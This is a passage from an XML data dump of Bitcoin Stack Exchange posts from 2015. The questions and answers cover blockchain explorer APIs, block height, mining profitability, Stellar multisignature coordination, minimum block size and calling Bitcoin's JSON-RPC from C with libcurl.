  <row Id="41140" PostTypeId="1" CreationDate="2015-10-31T10:04:48.913" Score="15" ViewCount="13922" Body="&lt;p&gt;I'm gathering a list of &lt;strong&gt;Bitcoin / Blockchain APIs&lt;/strong&gt;. I mean web (REST) APIs that allow you to do basic blockchain queries through http(s) API calls, such as: getting the balance on an address, getting a list of transactions from or to an address, getting the details (inputs and outputs) for a transaction, et cetera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm familiar with blocktrail.com, blockcypher.com, blockchain.info, and blockr.io, but I remember having seen others in the past. Any more?&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2020-07-29T19:46:42.213" Title="List of blockchain explorer APIs?" Tags="|blockchain|api|" AnswerCount="6" CommentCount="1" ClosedDate="2020-08-04T03:44:16.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="41141" PostTypeId="1" CreationDate="2015-10-31T12:32:53.403" Score="8" ViewCount="15412" Body="&lt;p&gt;I have currently downloaded 300,000 blocks and the last one is generated 1 year and 19 weeks ago. I wonder how many blocks are more to go, before I am up to date.&lt;/p&gt;&#xA;" OwnerUserId="30244" LastEditorUserId="5406" LastEditDate="2015-11-02T01:05:17.363" LastActivityDate="2018-10-30T09:14:42.113" Title="How many blocks are there in blockchain as of today?" Tags="|blockchain|height|block|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41143" PostTypeId="2" ParentId="41141" CreationDate="2015-10-31T12:58:49.747" Score="6" Body="&lt;p&gt;There's a generic answer to this question that anyone can use, and an answer specific to users of Bitcoin Core (versions 0.10.0 or higher).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Generic version&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Rather than directly answer your question with an answer that would become outdated within a few minutes as the next block was discovered, here's a general way you can look up the current number of blocks in the blockchain:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to this &lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Block_chain_browsers&quot; rel=&quot;nofollow&quot;&gt;list of blockchain explorers&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Choose one (or choose several) and visit its website.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Almost all of them on their main page display the heights of recent blocks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The height of a block is how many blocks there are before that block on the blockchain, so take the height of the highest block and add one—that's how many blocks there are on the blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please note that it's not uncommon for blockchain explorers to be wrong about various facts, including the height of the highest valid block.  Visiting several sites decreases your risk of getting bad information without realizing it—if different sites disagree about the height by more than a single block, you'll know something is wrong.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For Bitcoin Core users&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getblockchaininfo&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getblockchaininfo&lt;/code&gt; RPC&lt;/a&gt; includes both the height of the highest downloaded block and the height of the highest valid-looking downloaded header.  On a fast connection, Bitcoin Core will typically download all the headers within two minutes of the time it is first started, so this number of headers is usually the total number of blocks on the best blockchain (minus one, since counting starts from zero).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;chain&quot;: &quot;main&quot;,&#xA;  &quot;blocks&quot;: 381466,&#xA;  &quot;headers&quot;: 381466,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The first few lines of getblockchaininfo on a fully-synced node&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's important to node that the headers count can conceivably go down if Bitcoin Core discovers the blocks that are supposed to be attached to those headers are invalid.  This most recently happened during the 4 July 2015 fork (although 0.10.0 and later Bitcoin Core nodes were unaffected) and it could also happen if there's a hard fork attempt that has the support of the majority of the network hash rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin Core GUI (Bitcoin-Qt), you can run the &lt;code&gt;getblockchaininfo&lt;/code&gt; RPC by going to Help menu -&gt; Debug item -&gt; Console tab, and then typing in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getblockchaininfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="5406" LastEditDate="2016-09-21T06:09:59.657" LastActivityDate="2016-09-21T06:09:59.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41144" PostTypeId="1" CreationDate="2015-10-31T16:35:45.907" Score="2" ViewCount="1717" Body="&lt;p&gt;I have a 8 Core Xeon E5-2660 machine with 16GB Ram (without GPU). I have used ByteCoin and MinerGate both of which gave me just 90-100 Hashes/sec.&#xA;I see people talking about 2-4 MH/s whereas I am getting only a fraction of that. Could anybody please tell me where I am going wrong, what should I do to get such hash rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hardware and electricity both are free for me. Basically I have no expenses. So please give the instructions so that I can make the most of it. Which currency, miner, drivers, etc to use.  &lt;/p&gt;&#xA;" OwnerUserId="30248" LastEditorUserId="5406" LastEditDate="2016-02-04T13:05:39.080" LastActivityDate="2016-02-04T13:05:39.080" Title="Very Slow Mining on CPU with 8 Core Xeon E5-2660" Tags="|cpu-mining|miner-configuration|" AnswerCount="1" CommentCount="1" ClosedDate="2015-11-07T18:22:38.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="41145" PostTypeId="2" ParentId="41140" CreationDate="2015-10-31T18:10:06.140" Score="4" Body="&lt;p&gt;Insight by bitpay:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://insight.bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;https://insight.bitpay.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block Explorer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;https://blockexplorer.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Chain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinchain.com/block_explorer&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinchain.com/block_explorer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many more in development, but these are ones I could find that you didn't list.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-31T18:10:06.140" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41146" PostTypeId="2" ParentId="41135" CreationDate="2015-10-31T18:17:05.217" Score="2" Body="&lt;p&gt;What you're describing is a push mechanism where each node automatically pushes whatever data it gets. This is not how the networking part of bitcoin works. The network protocol of bitcoin works as a pull mechanism. As a node, you request an inventory of blocks and transactions from other nodes. Usually, you request an inventory of what blocks and transactions other nodes have and then request specifically for the blocks and transactions you don't have. Other nodes you are connected to do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, the upload bandwidth is only as much as other nodes request from you and given that you only need to receive each transaction or block once, in general, your upload bandwidth will be roughly equal to your download bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you're one of the nodes that has a block first (like a miner), you're going to be uploading the block data to a lot more nodes than you download. If you're running a normal full node and not mining, you'll most likely be downloading more data than uploading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if your mempool gets flooded with transactions, the bitcoind behavior is to randomly discard transactions so that it's under a certain limit.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-31T18:17:05.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41147" PostTypeId="2" ParentId="41141" CreationDate="2015-10-31T18:49:04.290" Score="3" Body="&lt;p&gt;As of October 31, 2015, 6:48 PM UTC, there are 381435 blocks.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-31T18:49:04.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41148" PostTypeId="2" ParentId="41125" CreationDate="2015-10-31T19:45:17.893" Score="14" Body="&lt;p&gt;Thanks for asking this question. I see a lot of people all the time who assume GPU mining is profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try googling &quot;bitcoin mining calculator&quot; and see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presently (in 2015) the calculator will tell you that you would be able to mine one bitcoin in about 1000 to 10 000 years. But you have to consider that there are reward halvings every four years, which those calculators don't take into account. A more realistic scenario then is that it would take over a million years to mine one bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you don't have to mine a whole bitcoin. If you are lucky you could perhaps mine 0.01 BTC in 10 000 years. That's worth a little over three US dollars at the time I write this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are still a few people mining on GPU or even CPU. Some of them may have free electricity. But what they fail to understand is how extremely slow this is. Most ditch GPU/CPU mining when they see that you'd be lucky to earn three dollars in 10 000 years. But there are still some (in my mining pool) who refuse to give up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: no, GPU mining is not viable.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-10-31T19:45:17.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41149" PostTypeId="1" CreationDate="2015-10-31T20:31:53.907" Score="1" ViewCount="601" Body="&lt;p&gt;I've configured the large (8x) GPU image on AWS at 2.60/hour. I ran it goes few hours after setup and mined nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was my first foray into mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this size instance give me a reasonable chance of being able to successfully mine? Or am I so underpowered that the probability is too small?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also be that I don't fully understand the concepts so feel free to tell me so :)&lt;/p&gt;&#xA;" OwnerUserId="30252" LastEditorUserId="5406" LastEditDate="2016-02-21T15:49:31.513" LastActivityDate="2016-02-21T15:49:31.513" Title="What are realistic expectations for an ethereum miner on AWS?" Tags="|mining-profitability|ethereum|amazon-web-services|" AnswerCount="0" CommentCount="0" ClosedDate="2015-11-01T18:05:22.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="41150" PostTypeId="1" AcceptedAnswerId="41163" CreationDate="2015-10-31T20:55:29.810" Score="3" ViewCount="48" Body="&lt;p&gt;If one issues currency with &lt;code&gt;AUTHORIZATION_REVOCABLE&lt;/code&gt; flag, and account A hold 100 credits of it, can issuer revoke only 13 credits? Can account A spend the rest 87 credits as normal?&lt;/p&gt;&#xA;" OwnerUserId="30251" LastActivityDate="2015-11-01T20:36:59.907" Title="Does AUTHORIZATION_REVOCABLE flag affects all credits help or up to any amount?" Tags="|stellar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41151" PostTypeId="1" CreationDate="2015-10-31T21:22:07.153" Score="3" ViewCount="380" Body="&lt;p&gt;I've configured the large (8x) GPU image on AWS at 2.60/hour. I ran it goes few hours after setup and mined nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was my first foray into mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given this setup, am I better placed to join a pool? And what pool should I join? (Some pools reward the biggest contributor and others payout shares.)&lt;/p&gt;&#xA;" OwnerUserId="30252" LastEditorUserId="5406" LastEditDate="2015-11-07T21:32:59.663" LastActivityDate="2018-04-21T16:12:47.057" Title="Should I join a pool?" Tags="|mining-pools|ethereum|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41152" PostTypeId="1" CreationDate="2015-10-31T21:35:38.040" Score="2" ViewCount="111" Body="&lt;p&gt;I would like to query whether funds have been sent to a multi-sig address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the daemon: the address is valid, but listunspent and getreceivedbyaddress don't show the multisig address. I can see a txn, which reports the target address is my multisig address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I am asking how do the apis from blockr.io work (e.g. btc.blockr.io/api/v1/address/info/...... ) ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="30084" LastEditorUserId="2306" LastEditDate="2015-10-31T21:40:27.493" LastActivityDate="2015-10-31T21:40:27.493" Title="Using the bitcoind, can I query if funds have been sent to a multisig address?" Tags="|bitcoind|multi-signature|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41153" PostTypeId="1" CreationDate="2015-10-31T22:03:10.003" Score="4" ViewCount="433" Body="&lt;p&gt;I have read the articles in the BitCoin website and I thought of implementing the BitCoin payment method in my website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I registered at a payment processor website called &quot;CoinBase&quot;. Unfortunately my country is not supported for the Buy &amp;amp; Sell feature.&#xA;I am thinking of accepting payments and later using some sort of exchange website to cash out. If I do start accepting BTC should I store them in the CoinBase wallet or use something like BitCoin Core? I am asking this because I heard that some BitCoin services steal the BitCoins from their customers and run off. Other than that, storing them online is probably more comfortable.&#xA;Could I get some suggestions on good exchange websites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced.&lt;/p&gt;&#xA;" OwnerUserId="30253" LastActivityDate="2017-02-18T15:21:37.830" Title="Can I exchange BTC from CoinBase?" Tags="|exchanges|coinbase.com|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41154" PostTypeId="2" ParentId="37730" CreationDate="2015-10-31T23:06:33.877" Score="1" Body="&lt;p&gt;I'm running BFGminer 5.4.0 on a pi with two Zeusminers. Here is an example of my command that I run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;--scrypt -o stratum+tcp://pool:port -u username -p password -S zeusminer:/dev/ttyUSB0 --set zeusminer:clock=328 --set zeusminer:chips=6 -S zeusminer:/dev/ttyUSB1 --set zeusminer:clock=328 --set zeusminer:chips=6&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="30254" LastEditorUserId="18227" LastEditDate="2015-11-02T18:44:22.000" LastActivityDate="2015-11-02T18:44:22.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41155" PostTypeId="1" AcceptedAnswerId="41157" CreationDate="2015-11-01T03:26:50.260" Score="4" ViewCount="674" Body="&lt;p&gt;Can a Bitcoin block be less than 1mb? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my understanding, a miner receives broadcasts. However, if not enough transactions come in, then would it just prematurely hash the block? &lt;/p&gt;&#xA;" OwnerUserId="30255" LastEditorUserId="2306" LastEditDate="2015-11-01T05:27:39.963" LastActivityDate="2015-11-02T19:56:10.450" Title="Can a Bitcoin block be less than 1mb?" Tags="|blockchain|block|blocksize|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41156" PostTypeId="2" ParentId="41155" CreationDate="2015-11-01T03:38:58.590" Score="0" Body="&lt;p&gt;Sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/block/00000000000000000fc5e782386b679ad5833ea2cddf4e06ebb403d725655a69&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; is one such block. It's 312 kB.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-11-01T03:38:58.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41157" PostTypeId="2" ParentId="41155" CreationDate="2015-11-01T04:12:11.827" Score="8" Body="&lt;p&gt;Yes.  Let's calculate the minimum size of a block:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/developer-reference#block-headers&quot;&gt;block header&lt;/a&gt; must be exactly 80 bytes.  This is the only part of the block that miners actually mine; the rest of the block is data that the header securely references.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The transaction count.  This isn't part of the block header and it isn't part of the block data, but it's part of the peer-to-peer protocol &lt;a href=&quot;https://bitcoin.org/en/developer-reference#block&quot;&gt;block message&lt;/a&gt; so it gets counted towards the block size.  For blocks with 253 or fewer transactions, this is 1 byte.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The coinbase transaction, the only required transaction in a block.  The coinbase transaction has the following fields with these minimum values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;4 bytes -- version field&lt;/li&gt;&#xA;&lt;li&gt;1 byte  -- number of inputs (always 1 for coinbase transactions)&lt;/li&gt;&#xA;&lt;li&gt;32 bytes -- &lt;a href=&quot;https://bitcoin.org/en/developer-reference#outpoint&quot;&gt;outpoint&lt;/a&gt; txid; always 32 0x00 bytes for coinbase transactions&lt;/li&gt;&#xA;&lt;li&gt;4 bytes -- outpoint index; always 4 0xff bytes for coinbase transactions&lt;/li&gt;&#xA;&lt;li&gt;1 byte -- number of bytes in coinbase field (input script); always 1 byte for coinbase transactions because there's a 100-byte limit&lt;/li&gt;&#xA;&lt;li&gt;4 bytes -- block height as a data push; required by &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot;&gt;BIP34&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;4 bytes -- &lt;a href=&quot;https://bitcoin.org/en/developer-guide#locktime-and-sequence-number&quot;&gt;sequence number&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;1 byte -- number of outputs, we're not going to have any (making the block reward and transaction fees paid in this block permanently unspendable; no real miner would do this)&lt;/li&gt;&#xA;&lt;li&gt;4 bytes -- &lt;a href=&quot;https://bitcoin.org/en/developer-guide#locktime-and-sequence-number&quot;&gt;locktime&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Total:&lt;/strong&gt; 55 bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Total minimum block size:&lt;/strong&gt; 80 + 1 + 55 = 136 bytes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practically, the smallest reasonable blocks are in the 180-byte range.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-11-01T04:12:11.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41158" PostTypeId="2" ParentId="41122" CreationDate="2015-11-01T06:34:32.360" Score="4" Body="&lt;p&gt;The C API for processing JSON is &lt;strong&gt;&lt;a href=&quot;https://jansson.readthedocs.org/en/latest/&quot; rel=&quot;nofollow&quot;&gt;Jansson&lt;/a&gt;&lt;/strong&gt;. C applications like &lt;a href=&quot;https://github.com/bitcoin/libblkmaker&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;libblkmaker&lt;/code&gt;&lt;/a&gt; use &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#Command_line_.28cURL.29&quot; rel=&quot;nofollow&quot;&gt;cURL&lt;/a&gt; for making the calls and Jansson for interpreting the JSON that cURL fetches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example basic usage (which can be easily modified for Bitcoin RPC), see the Jansson example &lt;a href=&quot;https://jansson.readthedocs.org/en/latest/_downloads/github_commits.c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;github_commits.c&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://jansson.readthedocs.org/en/latest/tutorial.html#the-github-repo-commits-api&quot; rel=&quot;nofollow&quot;&gt;the associated tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how to make JSON RPC calls with &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#Command_line_.28cURL.29&quot; rel=&quot;nofollow&quot;&gt;cURL&lt;/a&gt;, the output of which Jansson could process:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;#include &amp;lt;curl/curl.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    CURL *curl = curl_easy_init();&#xA;    struct curl_slist *headers = NULL;&#xA;&#xA;    if (curl) {&#xA;    const char *data =&#xA;        &quot;{\&quot;jsonrpc\&quot;: \&quot;1.0\&quot;, \&quot;id\&quot;:\&quot;curltest\&quot;, \&quot;method\&quot;: \&quot;getinfo\&quot;, \&quot;params\&quot;: [] }&quot;;&#xA;&#xA;    headers = curl_slist_append(headers, &quot;content-type: text/plain;&quot;);&#xA;    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);&#xA;&#xA;    curl_easy_setopt(curl, CURLOPT_URL, &quot;http://127.0.0.1:8332/&quot;);&#xA;&#xA;    curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long) strlen(data));&#xA;    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);&#xA;&#xA;    curl_easy_setopt(curl, CURLOPT_USERPWD,&#xA;             &quot;bitcoinrpcUSERNAME:bitcoinrpcPASSWORD&quot;);&#xA;&#xA;    curl_easy_setopt(curl, CURLOPT_USE_SSL, CURLUSESSL_TRY);&#xA;&#xA;    curl_easy_perform(curl);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will print, like the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#Command_line_.28cURL.29&quot; rel=&quot;nofollow&quot;&gt;cURL&lt;/a&gt; example, something like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{&quot;result&quot;:{&quot;balance&quot;:0.000000000000000,&quot;blocks&quot;:59952,&quot;connections&quot;:48,&quot;proxy&quot;:&quot;&quot;,&quot;generate&quot;:false,&#xA;       &quot;genproclimit&quot;:-1,&quot;difficulty&quot;:16.61907875185736},&quot;error&quot;:null,&quot;id&quot;:&quot;curltest&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-11-09T13:25:03.333" LastActivityDate="2015-11-09T13:25:03.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41159" PostTypeId="2" ParentId="28205" CreationDate="2015-11-01T10:20:24.280" Score="-1" Body="&lt;p&gt;this work&#xA;./minerd --url=stratum+tcp://uk1.ghash.io:3333 -u username.workername -p xxx&lt;/p&gt;&#xA;" OwnerUserId="30258" LastActivityDate="2015-11-01T10:20:24.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41160" PostTypeId="1" AcceptedAnswerId="41164" CreationDate="2015-11-01T11:09:57.397" Score="3" ViewCount="199" Body="&lt;p&gt;In &lt;a href=&quot;https://www.stellar.org/blog/multisig-and-simple-contracts-stellar/&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt; we read, that Government &amp;amp; NGO &lt;strong&gt;came together&lt;/strong&gt; to sign the transaction, and in &lt;a href=&quot;https://www.stellar.org/developers/learn/&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; we read that transaction is invalid if it includes signatures that aren't needed to authorize the transaction and that a transaction envelope wraps a transaction with a set of signatures. But how does the multi-signing process is intended to happen practically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I make a transaction that required my and friend's signature, I sign it and publish it. Does it fail because of missing signature? Is my friend notified through stellar that there's a transaction that requires his signature, thus &quot;inviting&quot; him to take a look at it? Can my enemy find it and sign it to deny me contracts? And in case of 20 signers? And in case someone doesn't sign, when does transaction fails? Can he not-sign it in a way to fail the transaction before set expiration time?&lt;/p&gt;&#xA;" OwnerUserId="30251" LastEditorUserId="5292" LastEditDate="2015-11-17T19:44:58.813" LastActivityDate="2015-11-17T19:55:44.100" Title="How does Stellar multi-signing happen practically?" Tags="|stellar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41161" PostTypeId="1" AcceptedAnswerId="41167" CreationDate="2015-11-01T15:54:08.503" Score="3" ViewCount="167" Body="&lt;p&gt;At start up it will check the last N number of blocks to verify, default is 288 or 48 hours. If I changed mine to 72, approx the last 12 hours instead are there any foreseeable negative consequences to doing so? Would my node still be considered valid, would it increase my ban score, or disable the wallet feature as it does to those who run pruned nodes, etc?&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-11-02T02:10:26.500" Title="Consequences to reducing `checkblocks` in console on a node?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41162" PostTypeId="2" ParentId="41072" CreationDate="2015-11-01T19:45:04.127" Score="3" Body="&lt;p&gt;I will post my solution, but I still think there should be a cleaner way of doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would first need to &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;open up (or create) the conf&lt;/a&gt; file for the coin which you wish to connect with then add &lt;code&gt;abbr=BTC&lt;/code&gt; (or replace 'BTC' with whatever coin abbr you want).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would then need to open up and read that conf file with your script/module. Since I am working with Python, here a function that does that:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def readCfg(location):&#xA;    cfg ={}&#xA;    with open(location) as f:&#xA;        for line in f:&#xA;            line = line.strip()&#xA;            if line and not line.startswith(&quot;#&quot;) and '=' in line: cfg[line.split('=', 1)[0]] = line.split('=', 1)[1]&#xA;        return cfg&#xA;&#xA;cfg = readCfg('/home/username/.bitcoin/bitcoin.conf')&#xA;print(cfg['abbr'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;I think maybe having a documentation of this method done in other languages would be beneficial to the Bitcoin community. Feel free to expand on my answer until Bitcoin devs decide to add 'BTC' to the output of an rpc call.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="29487" LastEditorUserId="29487" LastEditDate="2016-04-19T18:30:19.083" LastActivityDate="2016-04-19T18:30:19.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41163" PostTypeId="2" ParentId="41150" CreationDate="2015-11-01T20:36:59.907" Score="1" Body="&lt;p&gt;No it isn't that fine grained. The credit will just be frozen until the user deals with the gateway and the gateway unfreezes.  The gateway could of course unfreeze the credit after 13 of it is sent back.&lt;/p&gt;&#xA;" OwnerUserId="25048" LastActivityDate="2015-11-01T20:36:59.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41164" PostTypeId="2" ParentId="41160" CreationDate="2015-11-01T20:42:23.810" Score="1" Body="&lt;p&gt;The coordination of the tx envelope before it has the right number of signers happens by some other channel. If you and your friend both need to sign for any tx from an account, you would sign it and then email or IM the tx_blob to your friend. Your friend would then add their signature to the tx_blob and submit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your enemy signs a tx you can simply remove your enemy's signature before submitting it to the network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone doesn't sign then the server you submit the tx to will reject it immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://www.stellar.org/blog/multisig-and-simple-contracts-stellar/&quot; rel=&quot;nofollow&quot;&gt;Multisig and Simple Contracts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25048" LastEditorUserId="25073" LastEditDate="2015-11-17T19:55:44.100" LastActivityDate="2015-11-17T19:55:44.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41165" PostTypeId="1" AcceptedAnswerId="41166" CreationDate="2015-11-02T00:24:13.960" Score="7" ViewCount="1851" Body="&lt;p&gt;I am learning the Bitcoin protocol by reading the bitcoin developer reference documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, a raw transaction consists of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Version (which is always 1)&lt;/li&gt;&#xA;&lt;li&gt;Inputs. Each input contains:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hash of the transaction that contains the output that we are going to spend here&lt;/li&gt;&#xA;&lt;li&gt;Index of the output in that transaction&lt;/li&gt;&#xA;&lt;li&gt;Script that satisfies the conditions placed in the script of the referenced ouput.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Outputs. Each output contains:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;8 bytes for the value in satoshis&lt;/li&gt;&#xA;&lt;li&gt;Script with the conditions that must be satisfied in order for this output to be spent.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Locktime (which is usually 0)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am not very sure what the script of the inputs contain, but I guess it should contain the public key, and a signed message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, why can't the miner modify the scripts in the outputs (replacing the address by their own), if those scripts are not part of the message that the real user had to sign?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe this question would be better asked like this: What is signed in the input scripts?&lt;/p&gt;&#xA;" OwnerUserId="27866" LastEditorUserId="5406" 